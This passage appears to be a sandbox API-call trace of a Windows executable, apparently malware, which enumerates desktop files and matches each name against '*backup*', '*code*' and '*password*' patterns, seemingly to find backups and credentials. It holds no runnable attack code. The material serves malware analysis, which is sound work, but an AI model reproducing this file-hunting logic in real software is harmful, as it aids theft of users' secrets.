lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", lpUsedDefaultChar=0x0) returned 45 [0099.665] PathMatchSpecW (pszFile="RpU8jg9s7.png", pszSpec="*backup*.*") returned 0 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x33aac20, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", lpUsedDefaultChar=0x0) returned 55 [0099.665] PathMatchSpecW (pszFile="sIIXwnEmeTmghbLvRDe.m4a", pszSpec="*backup*.*") returned 0 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0099.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x33aab20, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", lpUsedDefaultChar=0x0) returned 53 [0099.666] PathMatchSpecW (pszFile="tx3sQn43qrAHw7-df.bmp", pszSpec="*backup*.*") returned 0 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x33aad20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", lpUsedDefaultChar=0x0) returned 54 [0099.666] PathMatchSpecW (pszFile="tzzsZtkMBK_y-2gskd.rtf", pszSpec="*backup*.*") returned 0 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x33ab120, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", lpUsedDefaultChar=0x0) returned 56 [0099.666] PathMatchSpecW (pszFile="TZ_q-uezvWtW997Slkqq.png", pszSpec="*backup*.*") returned 0 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", lpUsedDefaultChar=0x0) returned 45 [0099.666] PathMatchSpecW (pszFile="Unrrn7hms.png", pszSpec="*backup*.*") returned 0 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", lpUsedDefaultChar=0x0) returned 48 [0099.666] PathMatchSpecW (pszFile="V9oJDYviCbk0.jpg", pszSpec="*backup*.*") returned 0 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", lpUsedDefaultChar=0x0) returned 47 [0099.666] PathMatchSpecW (pszFile="w1JAUmkNtF5.odp", pszSpec="*backup*.*") returned 0 [0099.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", lpUsedDefaultChar=0x0) returned 41 [0099.667] PathMatchSpecW (pszFile="WiMEj.doc", pszSpec="*backup*.*") returned 0 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x33aaf20, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", lpUsedDefaultChar=0x0) returned 51 [0099.667] PathMatchSpecW (pszFile="z0fYM8SfWqHwA 3.xls", pszSpec="*backup*.*") returned 0 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", lpUsedDefaultChar=0x0) returned 46 [0099.667] PathMatchSpecW (pszFile="Zl8tQFh7Qv.mkv", pszSpec="*backup*.*") returned 0 [0099.667] GetLastError () returned 0x12 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", lpUsedDefaultChar=0x0) returned 47 [0099.667] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*code*.*") returned 0 [0099.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x211ae40, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", lpUsedDefaultChar=0x0) returned 40 [0099.668] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*code*.*") returned 0 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x21111c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", lpUsedDefaultChar=0x0) returned 100 [0099.668] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*code*.*") returned 0 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x33aaa20, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", lpUsedDefaultChar=0x0) returned 50 [0099.668] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*code*.*") returned 0 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.668] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*code*.*") returned 0 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.668] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*code*.*") returned 0 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0099.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x34300d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", lpUsedDefaultChar=0x0) returned 44 [0099.669] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*code*.*") returned 0 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0099.669] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*code*.*") returned 0 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x33aaba0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", lpUsedDefaultChar=0x0) returned 54 [0099.669] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", pszSpec="*code*.*") returned 0 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x21129c0, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", lpUsedDefaultChar=0x0) returned 59 [0099.669] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*code*.*") returned 0 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x33aaa60, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", lpUsedDefaultChar=0x0) returned 55 [0099.669] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*code*.*") returned 0 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x2112e40, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", lpUsedDefaultChar=0x0) returned 60 [0099.669] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*code*.*") returned 0 [0099.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0099.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x33aac60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", lpUsedDefaultChar=0x0) returned 52 [0099.670] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*code*.*") returned 0 [0099.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x33ab0a0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", lpUsedDefaultChar=0x0) returned 49 [0099.670] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*code*.*") returned 0 [0099.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.670] PathMatchSpecW (pszFile="_xRb.wav", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*code*.*") returned 0 [0099.670] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="OTOhWvt8XHWdX2Jb-Y9j.avi", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="RlIHjPIHGxNLKdZtxgXD.mkv", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="FfCPM", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="fw4-.avi", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="Tc9-j3lGUjaG6GJI.png", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="UR4TA9fA1.xlsx", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="km0vcCJ", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="m2PaM.avi", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="4YFnvn DG0jzD_v88d.wav", pszSpec="*code*.*") returned 0 [0099.671] PathMatchSpecW (pszFile="EpL2Lcy5i7fg_B1.rtf", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="LeEEAupCT2yTi9.rtf", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="QbxigokTDmP9qF7bIHTm.gif", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="MTVwnxmU4D", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="p4At.m4a", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="pmDY1nV.m4a", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="RpU8jg9s7.png", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="sIIXwnEmeTmghbLvRDe.m4a", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="tx3sQn43qrAHw7-df.bmp", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="tzzsZtkMBK_y-2gskd.rtf", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="TZ_q-uezvWtW997Slkqq.png", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="Unrrn7hms.png", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="V9oJDYviCbk0.jpg", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="w1JAUmkNtF5.odp", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="WiMEj.doc", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="z0fYM8SfWqHwA 3.xls", pszSpec="*code*.*") returned 0 [0099.672] PathMatchSpecW (pszFile="Zl8tQFh7Qv.mkv", pszSpec="*code*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", 